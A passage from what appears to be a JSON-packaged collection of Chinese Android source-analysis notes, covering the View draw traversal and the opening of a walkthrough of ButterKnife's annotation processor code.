mView.getContext();\n\t\t\tLog.i(TAG, \"Drawing: package:\" + cxt.getPackageName() +\n\t\t\t\t\t\", metrics=\" + cxt.getResources().getDisplayMetrics() +\n\t\t\t\t\t\", compatibilityInfo=\" + cxt.getResources().getCompatibilityInfo());\n\t\t}\n\t\ttry {\n\t\t\tcanvas.translate(-xoff, -yoff);\n\t\t\tif (mTranslator != null) {\n\t\t\t\tmTranslator.translateCanvas(canvas);\n\t\t\t}\n\t\t\tcanvas.setScreenDensity(scalingRequired ? mNoncompatDensity : 0);\n\t\t\tattachInfo.mSetIgnoreDirtyState = false;\n\t\t\t\n\t\t\t// 内部会去调用View.draw()；\n\t\t\tmView.draw(canvas);\n\t\t} finally {\n\t\t\tif (!attachInfo.mSetIgnoreDirtyState) {\n\t\t\t\t// Only clear the flag if it was not set during the mView.draw() call\n\t\t\t\tattachInfo.mIgnoreDirtyState = false;\n\t\t\t}\n\t\t}\n\t} finally {\n\t\ttry {\n\t\t\tsurface.unlockCanvasAndPost(canvas);\n\t\t} catch (IllegalArgumentException e) {\n\t\t\tLog.e(TAG, \"Could not unlock surface\", e);\n\t\t\tmLayoutRequested = true;    // ask wm for a new surface next time.\n\t\t\t//noinspection ReturnInsideFinallyBlock\n\t\t\treturn false;\n\t\t}\n\n\t\tif (LOCAL_LOGV) {\n\t\t\tLog.v(TAG, \"Surface \" + surface + \" unlockCanvasAndPost\");\n\t\t}\n\t}\n\treturn true;\n}\n```\n代码中调用了`mView.draw()`方法，所以我们看一下`FrameLayout.draw()`方法：\n```java\n/**\n * {@inheritDoc}\n */\n@Override\npublic void draw(Canvas canvas) {\n\tsuper.draw(canvas);\n\n\tif (mForeground != null) {\n\t\tfinal Drawable foreground = mForeground;\n\n\t\tif (mForegroundBoundsChanged) {\n\t\t\tmForegroundBoundsChanged = false;\n\t\t\tfinal Rect selfBounds = mSelfBounds;\n\t\t\tfinal Rect overlayBounds = mOverlayBounds;\n\n\t\t\tfinal int w = mRight-mLeft;\n\t\t\tfinal int h = mBottom-mTop;\n\n\t\t\tif (mForegroundInPadding) {\n\t\t\t\tselfBounds.set(0, 0, w, h);\n\t\t\t} else {\n\t\t\t\tselfBounds.set(mPaddingLeft, mPaddingTop, w - mPaddingRight, h - mPaddingBottom);\n\t\t\t}\n\n\t\t\tfinal int layoutDirection = getLayoutDirection();\n\t\t\tGravity.apply(mForegroundGravity, foreground.getIntrinsicWidth(),\n\t\t\t\t\tforeground.getIntrinsicHeight(), selfBounds, overlayBounds,\n\t\t\t\t\tlayoutDirection);\n\t\t\tforeground.setBounds(overlayBounds);\n\t\t}\n\t\t\n\t\tforeground.draw(canvas);\n\t}\n}\n```\n内部调用了`super.draw()`，而`ViewGroup`没有重写该方法，所以直接看`View`的`draw()`方法.\n`View.draw()`方法如下：\n```java\n/**\n * Manually render this view (and all of its children) to the given Canvas.\n * The view must have already done a full layout before this function is\n * called.  When implementing a view, implement\n * {@link #onDraw(android.graphics.Canvas)} instead of overriding this method.\n * If you do need to override this method, call the superclass version.\n *\n * @param canvas The Canvas to which the View is rendered.\n */\npublic void draw(Canvas canvas) {\n\tfinal int privateFlags = mPrivateFlags;\n\tfinal boolean dirtyOpaque = (privateFlags & PFLAG_DIRTY_MASK) == PFLAG_DIRTY_OPAQUE &&\n\t\t\t(mAttachInfo == null || !mAttachInfo.mIgnoreDirtyState);\n\tmPrivateFlags = (privateFlags & ~PFLAG_DIRTY_MASK) | PFLAG_DRAWN;\n\n\t// 这里注释说的很明白了，draw的6个步骤。\n\t/*\n\t * Draw traversal performs several drawing steps which must be executed\n\t * in the appropriate order:\n\t *\n\t *      1. Draw the background\n\t *      2. If necessary, save the canvas' layers to prepare for fading\n\t *      3. Draw view's content, 调用onDraw方法绘制自身\n\t *      4. Draw children, 调用dispatchDraw方法绘制子View\n\t *      5. If necessary, draw the fading edges and restore layers\n\t *      6. Draw decorations (scrollbars for instance)\n\t */\n\n\t// Step 1, draw the background, if needed\n\tint saveCount;\n\n\tif (!dirtyOpaque) {\n\t\tdrawBackground(canvas);\n\t}\n\n\t// skip step 2 & 5 if possible (common case)\n\tfinal int viewFlags = mViewFlags;\n\tboolean horizontalEdges = (viewFlags & FADING_EDGE_HORIZONTAL) != 0;\n\tboolean verticalEdges = (viewFlags & FADING_EDGE_VERTICAL) != 0;\n\tif (!verticalEdges && !horizontalEdges) {\n\t\t// Step 3, draw the content\n\t\tif (!dirtyOpaque) onDraw(canvas);\n\n\t\t// Step 4, draw the children\n\t\tdispatchDraw(canvas);\n\n\t\t// Step 6, draw decorations (scrollbars)\n\t\tonDrawScrollBars(canvas);\n\n\t\tif (mOverlay != null && !mOverlay.isEmpty()) {\n\t\t\tmOverlay.getOverlayView().dispatchDraw(canvas);\n\t\t}\n\n\t\t// we're done...\n\t\treturn;\n\t}\n\n\t/*\n\t * Here we do the full fledged routine...\n\t * (this is an uncommon case where speed matters less,\n\t * this is why we repeat some of the tests that have been\n\t * done above)\n\t */\n\n\tboolean drawTop = false;\n\tboolean drawBottom = false;\n\tboolean drawLeft = false;\n\tboolean drawRight = false;\n\n\tfloat topFadeStrength = 0.0f;\n\tfloat bottomFadeStrength = 0.0f;\n\tfloat leftFadeStrength = 0.0f;\n\tfloat rightFadeStrength = 0.0f;\n\n\t// Step 2, save the canvas' layers\n\tint paddingLeft = mPaddingLeft;\n\n\tfinal boolean offsetRequired = isPaddingOffsetRequired();\n\tif (offsetRequired) {\n\t\tpaddingLeft += getLeftPaddingOffset();\n\t}\n\n\tint left = mScrollX + paddingLeft;\n\tint right = left + mRight - mLeft - mPaddingRight - paddingLeft;\n\tint top = mScrollY + getFadeTop(offsetRequired);\n\tint bottom = top + getFadeHeight(offsetRequired);\n\n\tif (offsetRequired) {\n\t\tright += getRightPaddingOffset();\n\t\tbottom += getBottomPaddingOffset();\n\t}\n\n\tfinal ScrollabilityCache scrollabilityCache = mScrollCache;\n\tfinal float fadeHeight = scrollabilityCache.fadingEdgeLength;\n\tint length = (int) fadeHeight;\n\n\t// clip the fade length if top and bottom fades overlap\n\t// overlapping fades produce odd-looking artifacts\n\tif (verticalEdges && (top + length > bottom - length)) {\n\t\tlength = (bottom - top) / 2;\n\t}\n\n\t// also clip horizontal fades if necessary\n\tif (horizontalEdges && (left + length > right - length)) {\n\t\tlength = (right - left) / 2;\n\t}\n\n\tif (verticalEdges) {\n\t\ttopFadeStrength = Math.max(0.0f, Math.min(1.0f, getTopFadingEdgeStrength()));\n\t\tdrawTop = topFadeStrength * fadeHeight > 1.0f;\n\t\tbottomFadeStrength = Math.max(0.0f, Math.min(1.0f, getBottomFadingEdgeStrength()));\n\t\tdrawBottom = bottomFadeStrength * fadeHeight > 1.0f;\n\t}\n\n\tif (horizontalEdges) {\n\t\tleftFadeStrength = Math.max(0.0f, Math.min(1.0f, getLeftFadingEdgeStrength()));\n\t\tdrawLeft = leftFadeStrength * fadeHeight > 1.0f;\n\t\trightFadeStrength = Math.max(0.0f, Math.min(1.0f, getRightFadingEdgeStrength()));\n\t\tdrawRight = rightFadeStrength * fadeHeight > 1.0f;\n\t}\n\n\tsaveCount = canvas.getSaveCount();\n\n\tint solidColor = getSolidColor();\n\tif (solidColor == 0) {\n\t\tfinal int flags = Canvas.HAS_ALPHA_LAYER_SAVE_FLAG;\n\n\t\tif (drawTop) {\n\t\t\tcanvas.saveLayer(left, top, right, top + length, null, flags);\n\t\t}\n\n\t\tif (drawBottom) {\n\t\t\tcanvas.saveLayer(left, bottom - length, right, bottom, null, flags);\n\t\t}\n\n\t\tif (drawLeft) {\n\t\t\tcanvas.saveLayer(left, top, left + length, bottom, null, flags);\n\t\t}\n\n\t\tif (drawRight) {\n\t\t\tcanvas.saveLayer(right - length, top, right, bottom, null, flags);\n\t\t}\n\t} else {\n\t\tscrollabilityCache.setFadeColor(solidColor);\n\t}\n\n\t// Step 3, draw the content\n\tif (!dirtyOpaque) onDraw(canvas);\n\n\t// Step 4, draw the children\n\tdispatchDraw(canvas);\n\n\t// Step 5, draw the fade effect and restore layers\n\tfinal Paint p = scrollabilityCache.paint;\n\tfinal Matrix matrix = scrollabilityCache.matrix;\n\tfinal Shader fade = scrollabilityCache.shader;\n\n\tif (drawTop) {\n\t\tmatrix.setScale(1, fadeHeight * topFadeStrength);\n\t\tmatrix.postTranslate(left, top);\n\t\tfade.setLocalMatrix(matrix);\n\t\tp.setShader(fade);\n\t\tcanvas.drawRect(left, top, right, top + length, p);\n\t}\n\n\tif (drawBottom) {\n\t\tmatrix.setScale(1, fadeHeight * bottomFadeStrength);\n\t\tmatrix.postRotate(180);\n\t\tmatrix.postTranslate(left, bottom);\n\t\tfade.setLocalMatrix(matrix);\n\t\tp.setShader(fade);\n\t\tcanvas.drawRect(left, bottom - length, right, bottom, p);\n\t}\n\n\tif (drawLeft) {\n\t\tmatrix.setScale(1, fadeHeight * leftFadeStrength);\n\t\tmatrix.postRotate(-90);\n\t\tmatrix.postTranslate(left, top);\n\t\tfade.setLocalMatrix(matrix);\n\t\tp.setShader(fade);\n\t\tcanvas.drawRect(left, top, left + length, bottom, p);\n\t}\n\n\tif (drawRight) {\n\t\tmatrix.setScale(1, fadeHeight * rightFadeStrength);\n\t\tmatrix.postRotate(90);\n\t\tmatrix.postTranslate(right, top);\n\t\tfade.setLocalMatrix(matrix);\n\t\tp.setShader(fade);\n\t\tcanvas.drawRect(right - length, top, right, bottom, p);\n\t}\n\n\tcanvas.restoreToCount(saveCount);\n\n\t// Step 6, draw decorations (scrollbars)\n\tonDrawScrollBars(canvas);\n\n\tif (mOverlay != null && !mOverlay.isEmpty()) {\n\t\tmOverlay.getOverlayView().dispatchDraw(canvas);\n\t}\n}\n```\n\n上面会调用`onDraw`和`dispatchDraw`方法。\n我们先看一下`View.onDraw`方法：\n```java\n/**\n * Implement this to do your drawing.\n *\n * @param canvas the canvas on which the background will be drawn\n */\nprotected void onDraw(Canvas canvas) {\n}\n```\n是空方法，这是也很好理解，因为每个`View`的展现都不一样，例如`TextView`、`ProgressBar`等，\n所以`View`不会去实现`onDraw`方法，具体是要子类去根据自己的显示要求实现该方法。\n\n再看一下`dispatchDraw`方法，这个方法是用来绘制子`View`的，所以要看`ViewGroup.dispatchDraw`方法，`View.dispatchDraw`是空的。 \n```java\n/**\n * {@inheritDoc}\n */\n@Override\nprotected void dispatchDraw(Canvas canvas) {\n\tboolean usingRenderNodeProperties = canvas.isRecordingFor(mRenderNode);\n\tfinal int childrenCount = mChildrenCount;\n\tfinal View[] children = mChildren;\n\tint flags = mGroupFlags;\n\n\tif ((flags & FLAG_RUN_ANIMATION) != 0 && canAnimate()) {\n\t\tfinal boolean cache = (mGroupFlags & FLAG_ANIMATION_CACHE) == FLAG_ANIMATION_CACHE;\n\n\t\tfinal boolean buildCache = !isHardwareAccelerated();\n\t\tfor (int i = 0; i < childrenCount; i++) {\n\t\t\tfinal View child = children[i];\n\t\t\tif ((child.mViewFlags & VISIBILITY_MASK) == VISIBLE) {\n\t\t\t\tfinal LayoutParams params = child.getLayoutParams();\n\t\t\t\tattachLayoutAnimationParameters(child, params, i, childrenCount);\n\t\t\t\tbindLayoutAnimation(child);\n\t\t\t\tif (cache) {\n\t\t\t\t\tchild.setDrawingCacheEnabled(true);\n\t\t\t\t\tif (buildCache) {\n\t\t\t\t\t\tchild.buildDrawingCache(true);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfinal LayoutAnimationController controller = mLayoutAnimationController;\n\t\tif (controller.willOverlap()) {\n\t\t\tmGroupFlags |= FLAG_OPTIMIZE_INVALIDATE;\n\t\t}\n\n\t\tcontroller.start();\n\n\t\tmGroupFlags &= ~FLAG_RUN_ANIMATION;\n\t\tmGroupFlags &= ~FLAG_ANIMATION_DONE;\n\n\t\tif (cache) {\n\t\t\tmGroupFlags |= FLAG_CHILDREN_DRAWN_WITH_CACHE;\n\t\t}\n\n\t\tif (mAnimationListener != null) {\n\t\t\tmAnimationListener.onAnimationStart(controller.getAnimation());\n\t\t}\n\t}\n\n\tint clipSaveCount = 0;\n\tfinal boolean clipToPadding = (flags & CLIP_TO_PADDING_MASK) == CLIP_TO_PADDING_MASK;\n\tif (clipToPadding) {\n\t\tclipSaveCount = canvas.save();\n\t\tcanvas.clipRect(mScrollX + mPaddingLeft, mScrollY + mPaddingTop,\n\t\t\t\tmScrollX + mRight - mLeft - mPaddingRight,\n\t\t\t\tmScrollY + mBottom - mTop - mPaddingBottom);\n\t}\n\n\t// We will draw our child's animation, let's reset the flag\n\tmPrivateFlags &= ~PFLAG_DRAW_ANIMATION;\n\tmGroupFlags &= ~FLAG_INVALIDATE_REQUIRED;\n\n\tboolean more = false;\n\tfinal long drawingTime = getDrawingTime();\n\n\tif (usingRenderNodeProperties) canvas.insertReorderBarrier();\n\t// Only use the preordered list if not HW accelerated, since the HW pipeline will do the\n\t// draw reordering internally\n\tfinal ArrayList<View> preorderedList = usingRenderNodeProperties\n\t\t\t? null : buildOrderedChildList();\n\tfinal boolean customOrder = preorderedList == null\n\t\t\t&& isChildrenDrawingOrderEnabled();\n\tfor (int i = 0; i < childrenCount; i++) {\n\t\tint childIndex = customOrder ? getChildDrawingOrder(childrenCount, i) : i;\n\t\tfinal View child = (preorderedList == null)\n\t\t\t\t? children[childIndex] : preorderedList.get(childIndex);\n\t\tif ((child.mViewFlags & VISIBILITY_MASK) == VISIBLE || child.getAnimation() != null) {\n\t\t\t// 调用drawChild方法\n\t\t\tmore |= drawChild(canvas, child, drawingTime);\n\t\t}\n\t}\n\tif (preorderedList != null) preorderedList.clear();\n\n\t// Draw any disappearing views that have animations\n\tif (mDisappearingChildren != null) {\n\t\tfinal ArrayList<View> disappearingChildren = mDisappearingChildren;\n\t\tfinal int disappearingCount = disappearingChildren.size() - 1;\n\t\t// Go backwards -- we may delete as animations finish\n\t\tfor (int i = disappearingCount; i >= 0; i--) {\n\t\t\tfinal View child = disappearingChildren.get(i);\n\t\t\tmore |= drawChild(canvas, child, drawingTime);\n\t\t}\n\t}\n\tif (usingRenderNodeProperties) canvas.insertInorderBarrier();\n\n\tif (debugDraw()) {\n\t\tonDebugDraw(canvas);\n\t}\n\n\tif (clipToPadding) {\n\t\tcanvas.restoreToCount(clipSaveCount);\n\t}\n\n\t// mGroupFlags might have been updated by drawChild()\n\tflags = mGroupFlags;\n\n\tif ((flags & FLAG_INVALIDATE_REQUIRED) == FLAG_INVALIDATE_REQUIRED) {\n\t\tinvalidate(true);\n\t}\n\n\tif ((flags & FLAG_ANIMATION_DONE) == 0 && (flags & FLAG_NOTIFY_ANIMATION_LISTENER) == 0 &&\n\t\t\tmLayoutAnimationController.isDone() && !more) {\n\t\t// We want to erase the drawing cache and notify the listener after the\n\t\t// next frame is drawn because one extra invalidate() is caused by\n\t\t// drawChild() after the animation is over\n\t\tmGroupFlags |= FLAG_NOTIFY_ANIMATION_LISTENER;\n\t\tfinal Runnable end = new Runnable() {\n\t\t   public void run() {\n\t\t\t   notifyAnimationListener();\n\t\t   }\n\t\t};\n\t\tpost(end);\n\t}\n}\n```\n可以看到上面的方法中会调用`drawChild`方法，该方法如下： \n```java\n/**\n * Draw one child of this View Group. This method is responsible for getting\n * the canvas in the right state. This includes clipping, translating so\n * that the child's scrolled origin is at 0, 0, and applying any animation\n * transformations.\n *\n * @param canvas The canvas on which to draw the child\n * @param child Who to draw\n * @param drawingTime The time at which draw is occurring\n * @return True if an invalidate() was issued\n */\nprotected boolean drawChild(Canvas canvas, View child, long drawingTime) {\n\treturn child.draw(canvas, this, drawingTime);\n}\n```\n\n这里也简单总结一下`draw`的过程：\n```java\n// 1. ViewRootImpl.performDraw()\nprivate void performDraw() {\n\t// 2. ViewRootImpl.draw()\n\tdraw(fullRedrawNeeded);\t\n\t\t// 3. ViewRootImpl.drawSoftware\n\t\tdrawSoftware\n\t\t\t// 4. 内部调用mView.draw,也就是FrameLayout.draw(). \n\t\t\tmView.draw()(FrameLayout)\n\t\t\t\t// 5. FrameLayout.draw方法内部会调用super.draw方法，也就是View.draw方法.\n\t\t\t\tsuper.draw(canvas);\n\t\t\t\t\t// 6. View.draw方法内部会分别调用onDraw绘制自己以及dispatchDraw绘制子View.\n\t\t\t\t\tonDraw\n\t\t\t\t\t// 绘制子View\n\t\t\t\t\tdispatchDraw\n\t\t\t\t\t\t// 7. dispatchDraw方法内部会遍历所有子View.\n\t\t\t\t\t\tfor (int i = 0; i < childrenCount; i++) {\n\t\t\t\t\t\t\t// 8. 对每个子View分别调用drawChild方法\n\t\t\t\t\t\t\tdrawChild()\n\t\t\t\t\t\t\t\t// 9. drawChild方法内部会对该子View调用draw方法，进行绘制。然后draw又会调用onDraw等，循环就开始了。 \n\t\t\t\t\t\t\t\t\tchild.draw()\n\t\t\t\t\t\t}\n}\n```\n\n最后补充一个小问题： `getWidth()`与`getMeasuredWidth()`有什么区别呢？                          \n一般情况下这两个的值是相同的，`getMeasureWidth()`方法在`measure()`过程结束后就可以获取到了，而`getWidth()`方法要在`layout()`过程结束后才能获取到。\n而且`getMeasureWidth()`的值是通过`setMeasuredDimension()`设置的，但是`getWidth()`的值是通过视图右边的坐标减去左边的坐标计算出来的。如果我们在`layout`的时候将宽高\n不传`getMeasureWidth`的值，那么这时候`getWidth()`与`getMeasuredWidth`的值就不会再相同了，当然一般也不会这么干...\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/butterknife源码详解.md",
    "content": "butterknife源码详解\n===\n\n作为`Android`开发者，大家肯定都知道大名鼎鼎的[butterknife](https://github.com/JakeWharton/butterknife)。它大大的提高了开发效率，虽然在很早之前就开始使用它了，但是只知道是通过注解的方式实现的，却一直没有仔细的学习下大牛的代码。最近在学习运行时注解，决定今天来系统的分析下`butterknife`的实现原理。    \n\n如果你之前不了解`Annotation`，那强烈建议你先看[注解使用][1]\n\n废多看图:  \n\n![image](https://github.com/CharonChui/Pictures/blob/master/butterknife_sample.png?raw=true)\n\n从图中可以很直观的看出它的`module`结构，以及使用示例代码。\n\n它的目录和我们在[注解使用][1]这篇文章中介绍的一样，大体也是分为三个部分:   \n\n- app : butterknife\n- api : butterknife-annotations\n- compiler : butterknife-compiler\n\n通过示例代码我们大体能预料到对应的功能实现:    \n\n- `@BindView(R2.id.hello) Button hello;`    \n    `BindView`注解的作用就是通过`value`指定的值然后去调用`findViewById()`来找到对应的控件，然后将该控件赋值给使用该注解的变量。 \n\n- `@OnClick(R2.id.hello) void sayHello() {...}`    \t\t\n    `OnClick`注解也是通过指定的`id`来找到对应控件后，然后对其设置`onClickListener`并调用使用该注解的方法。   \n\n- 最后不要忘了`ButterKnife.bind(this);`该方法也是后面我们要分析的突破点。 \n\n当然`Butterknife`的功能是非常强大的，我们在这里只是用这两个简单的例子来进行分析说明。    \n\n那我们就来查看`BindView`和`Onclik`注解的源码:   \n```java\n@Retention(CLASS) @Target(FIELD)\npublic @interface BindView {\n  /** View ID to which the field will be bound. */\n  @IdRes int value();\n}\n```\n作用在变量上的编译时注解。对该注解的值`value()`使用`android.support.annotation`中的`IdRes`注解，来表明该值只能是资源类型的`id`。  \n\n```java\n@Target(METHOD)\n@Retention(CLASS)\n@ListenerClass(\n    targetType = \"android.view.View\",\n    setter = \"setOnClickListener\",\n    type = \"butterknife.internal.DebouncingOnClickListener\",\n    method = @ListenerMethod(\n        name = \"doClick\",\n        parameters = \"android.view.View\"\n    )\n)\npublic @interface OnClick {\n  /** View IDs to which the method will be bound. */\n  @IdRes int[] value() default { View.NO_ID };\n}\n```\n作用到方法上的编译时注解。我们发现该注解还使用了`ListenerClass`注解，当然从上面的声明中可以很容易看出它的作用。   \n那我们就继续简单的看一下`ListenerClass`注解的实现:   \n\n```java\n@Retention(RUNTIME) @Target(ANNOTATION_TYPE)\npublic @interface ListenerClass {\n  String targetType();\n\n  /** Name of the setter method on the {@linkplain #targetType() target type} for the listener. */\n  String setter();\n\n  /**\n   * Name of the method on the {@linkplain #targetType() target type} to remove the listener. If\n   * empty {@link #setter()} will be used by default.\n   */\n  String remover() default \"\";\n\n  /** Fully-qualified class name of the listener type. */\n  String type();\n\n  /** Enum which declares the listener callback methods. Mutually exclusive to {@link #method()}. */\n  Class<? extends Enum<?>> callbacks() default NONE.class;\n\n  /**\n   * Method data for single-method listener callbacks. Mutually exclusive with {@link #callbacks()}\n   * and an error to specify more than one value.\n   */\n  ListenerMethod[] method() default { };\n\n  /** Default value for {@link #callbacks()}. */\n  enum NONE { }\n}\n```\n作用到注解类型的运行时注解。 \n\n\n有了之前[注解使用](https://github.com/CharonChui/AndroidNote/blob/master/Android%E5%8A%A0%E5%BC%BA/%E6%B3%A8%E8%A7%A3%E4%BD%BF%E7%94%A8.md)这篇文章的基础，我们知道对于编译时注解肯定是要通过自定义`AbstractProcessor`来解析的，所以接下来我们要去`butterknife-compiler module`中找一下对应的类。通过名字我们就能很简单的找到:  \n```java\npackage butterknife.compiler;\n\n@AutoService(Processor.class)\npublic final class ButterKnifeProcessor extends AbstractProcessor {\n   ...\n}\n```\n通过`AutoService`注解我们很容易看出来`Butterknife`也使用了`Google Auto`。当然它肯定也都用了`javaopet`和`android-apt`，这里我们就不去分析了。 \n其他的一些方法我们就不继续看了，我们接下来看一下具体的核心处理方法，也就是`ButterKnifeProcessor.process()`方法:        \n```java\n@Override public boolean process(Set<? extends TypeElement> elements, RoundEnvironment env) {\n    // 查找、解析出所有的注解\n    Map<TypeElement, BindingClass> targetClassMap = findAndParseTargets(env);\n    // 将注解后要生成的相关代码信息保存到BindingClass类中\n    for (Map.Entry<TypeElement, BindingClass> entry : targetClassMap.entrySet()) {\n      TypeElement typeElement = entry.getKey();\n      BindingClass bindingClass = entry.getValue();\n      // 输出生成的类\n      for (JavaFile javaFile : bindingClass.brewJava()) {\n        try {\n          javaFile.writeTo(filer);\n        } catch (IOException e) {\n          error(typeElement, \"Unable to write view binder for type %s: %s\", typeElement,\n              e.getMessage());\n        }\n      }\n    }\n\n    return true;\n  }\n```\n\n从`process()`方法来看，我们需要主要分析两个部分:   \n\n- `findAndParseTargets()`：查找、解析所有的注解\n- `bindingClass.brewJava()`：生成代码\n\n##### 第一步:`findAndParseTargets()`  \n\n先查看`findAndParseTargets()`方法的实现,里面解析的类型比较多，我们就以`BindView`为例进行说明:   \n```java\nprivate Map<TypeElement, BindingClass> findAndParseTargets(RoundEnvironment env) {\n    Map<TypeElement, BindingClass> targetClassMap = new LinkedHashMap<>();\n    Set<TypeElement> erasedTargetNames = new LinkedHashSet<>();\n\n    scanForRClasses(env);\n\n    // Process each @BindArray element.\n    for (Element element : env.getElementsAnnotatedWith(BindArray.class)) {\n      if (!SuperficialValidation.validateElement(element)) continue;\n      try {\n        parseResourceArray(element, targetClassMap, erasedTargetNames);\n      } catch (Exception e) {\n        logParsingError(element, BindArray.class, e);\n      }\n    }\n\n    // Process each @BindBitmap element.\n    for (Element element : env.getElementsAnnotatedWith(BindBitmap.class)) {\n      if (!SuperficialValidation.validateElement(element)) continue;\n      try {\n        parseResourceBitmap(element, targetClassMap, erasedTargetNames);\n      } catch (Exception e) {\n        logParsingError(element, BindBitmap.class, e);\n      }\n    }\n\n    // Process each @BindBool element.\n    for (Element element : env.getElementsAnnotatedWith(BindBool.class)) {\n      if (!SuperficialValidation.validateElement(element)) continue;\n      try {\n        parseResourceBool(element, targetClassMap, erasedTargetNames);\n      } catch (Exception e) {\n        logParsingError(element, BindBool.class, e);\n      }\n    }\n\n    // Process each @BindColor element.\n    for (Element element : env.getElementsAnnotatedWith(BindColor.class)) {\n      if (!SuperficialValidation.validateElement(element)) continue;\n      try {\n        parseResourceColor(element, targetClassMap, erasedTargetNames);\n      } catch (Exception e) {\n        logParsingError(element, BindColor.class, e);\n      }\n    }\n\n    // Process each @BindDimen element.\n    for (Element element : env.getElementsAnnotatedWith(BindDimen.class)) {\n      if (!SuperficialValidation.validateElement(element)) continue;\n      try {\n        parseResourceDimen(element, targetClassMap, erasedTargetNames);\n      } catch (Exception e) {\n        logParsingError(element, BindDimen.class, e);\n      }\n    }\n\n    // Process each @BindDrawable element.\n    for (Element element : env.getElementsAnnotatedWith(BindDrawable.class)) {\n      if (!SuperficialValidation.validateElement(element)) continue;\n      try {\n        parseResourceDrawable(element, targetClassMap, erasedTargetNames);\n      } catch (Exception e) {\n        logParsingError(element, BindDrawable.class, e);\n      }\n    }\n\n    // Process each @BindInt element.\n    for (Element element : env.getElementsAnnotatedWith(BindInt.class)) {\n      if (!SuperficialValidation.validateElement(element)) continue;\n      try {\n        parseResourceInt(element, targetClassMap, erasedTargetNames);\n      } catch (Exception e) {\n        logParsingError(element, BindInt.class, e);\n      }\n    }\n\n    // Process each @BindString element.\n    for (Element element : env.getElementsAnnotatedWith(BindString.class)) {\n      if (!SuperficialValidation.validateElement(element)) continue;\n      try {\n        parseResourceString(element, targetClassMap, erasedTargetNames);\n      } catch (Exception e) {\n        logParsingError(element, BindString.class, e);\n      }\n    }\n\n    // Process each @BindView element.\n    for (Element element : env.getElementsAnnotatedWith(BindView.class)) {\n      // 检查一下合法性\n      if (!SuperficialValidation.validateElement(element)) continue;\n      try {\n        // 进行解析 \n        parseBindView(element, targetClassMap, erasedTargetNames);\n      } catch (Exception e) {\n        logParsingError(element, BindView.class, e);\n      }\n    }\n\n    // Process each @BindViews element.\n    for (Element element : env.getElementsAnnotatedWith(BindViews.class)) {\n      if (!SuperficialValidation.validateElement(element)) continue;\n      try {\n        parseBindViews(element, targetClassMap, erasedTargetNames);\n      } catch (Exception e) {\n        logParsingError(element, BindViews.class, e);\n      }\n    }\n\n    // Process each annotation that corresponds to a listener.\n    for (Class<? extends Annotation> listener : LISTENERS) {\n      findAndParseListener(env, listener, targetClassMap, erasedTargetNames);\n    }\n\n    // Try to find a parent binder for each.\n    for (Map.Entry<TypeElement, BindingClass> entry : targetClassMap.entrySet()) {\n      TypeElement parentType = findParentType(entry.getKey(), erasedTargetNames);\n      if (parentType != null) {\n        BindingClass bindingClass = entry.getValue();\n        BindingClass parentBindingClass = targetClassMap.get(parentType);\n        bindingClass.setParent(parentBindingClass);\n      }\n    }\n\n    return targetClassMap;\n  }\n```\n \n继续看一下`parseBindView()`方法:   \n```java\nprivate void parseBindView(Element element, Map<TypeElement, BindingClass> targetClassMap,\n      Set<TypeElement> erasedTargetNames) {\n    TypeElement enclosingElement = (TypeElement) element.getEnclosingElement();\n\n    // Start by verifying common generated code restrictions.\n    boolean hasError = isInaccessibleViaGeneratedCode(BindView.class, \"fields\", element)\n        || isBindingInWrongPackage(BindView.class, element);\n\n    // Verify that the target type extends from View.\n    TypeMirror elementType = element.asType();\n    if (elementType.getKind() == TypeKind.TYPEVAR) {\n      TypeVariable typeVariable = (TypeVariable) elementType;\n      elementType = typeVariable.getUpperBound();\n    }\n    // 必须是View类型或者接口\n    if (!isSubtypeOfType(elementType, VIEW_TYPE) && !isInterface(elementType)) {\n      error(element, \"@%s fields must extend from View or be an interface. (%s.%s)\",\n          BindView.class.getSimpleName(), enclosingElement.getQualifiedName(),\n          element.getSimpleName());\n      hasError = true;\n    }\n\n    if (hasError) {\n      return;\n    }\n    // 通过注解的value拿到id\n    // Assemble information on the field.\n    int id = element.getAnnotation(BindView.class).value();\n\n    BindingClass bindingClass = targetClassMap.get(enclosingElement);\n    if (bindingClass != null) {\n      // 之前已经绑定过该id\n      ViewBindings viewBindings = bindingClass.getViewBinding(getId(id));\n      if (viewBindings != null && viewBindings.getFieldBinding() != null) {\n        FieldViewBinding existingBinding = viewBindings.getFieldBinding();\n        error(element, \"Attempt to use @%s for an already bound ID %d on '%s'. (%s.%s)\",\n            BindView.class.getSimpleName(), id, existingBinding.getName(),\n            enclosingElement.getQualifiedName(), element.getSimpleName());\n        return;\n      }\n    } else {\n      // 没有绑定过该id的话就去生成代码\n      bindingClass = getOrCreateTargetClass(targetClassMap, enclosingElement);\n    }\n\n    String name = element.getSimpleName().toString();\n    TypeName type = TypeName.get(elementType);\n    boolean required = isFieldRequired(element);\n\n    FieldViewBinding binding = new FieldViewBinding(name, type, required);\n    // 用BindingClass添加代码\n    bindingClass.addField(getId(id), binding);\n\n    // Add the type-erased version to the valid binding targets set.\n    erasedTargetNames.add(enclosingElement);\n  }\n```\n终于进入生成代码的阶段了，继续看一下`getOrCreateTargetClass()`的实现:     \n```java\nprivate BindingClass getOrCreateTargetClass(Map<TypeElement, BindingClass> targetClassMap,\n      TypeElement enclosingElement) {\n    BindingClass bindingClass = targetClassMap.get(enclosingElement);\n    if (bindingClass == null) {\n      TypeName targetType = TypeName.get(enclosingElement.asType());\n      if (targetType instanceof ParameterizedTypeName) {\n        targetType = ((ParameterizedTypeName) targetType).rawType;\n      }\n      // 得到包名、类名\n      String packageName = getPackageName(enclosingElement);\n      String className = getClassName(enclosingElement, packageName);\n      // 用包名、类名和_ViewBinder等拼接成要生成的类的全名，这里会有两个类:$$_ViewBinder和$$_ViewBinding\n      ClassName binderClassName = ClassName.get(packageName, className + \"_ViewBinder\");\n      ClassName unbinderClassName = ClassName.get(packageName, className + \"_ViewBinding\");\n\n      boolean isFinal = enclosingElement.getModifiers().contains(Modifier.FINAL);\n      // 将要生成的类名,$$_ViewBinder和$$_ViewBinding封装给BindingClass类\n      bindingClass = new BindingClass(targetType, binderClassName, unbinderClassName, isFinal);\n      targetClassMap.put(enclosingElement, bindingClass);\n    }\n    return bindingClass;\n  }\n```\n继续看一下`BindingClass.addField()`:    \n```java\nvoid addField(Id id, FieldViewBinding binding) {\n    getOrCreateViewBindings(id).setFieldBinding(binding);\n  }\n```\n继续看`getOrCreateViewBindings()`以及`setFieldBinding()`方法:    \n```java\nprivate 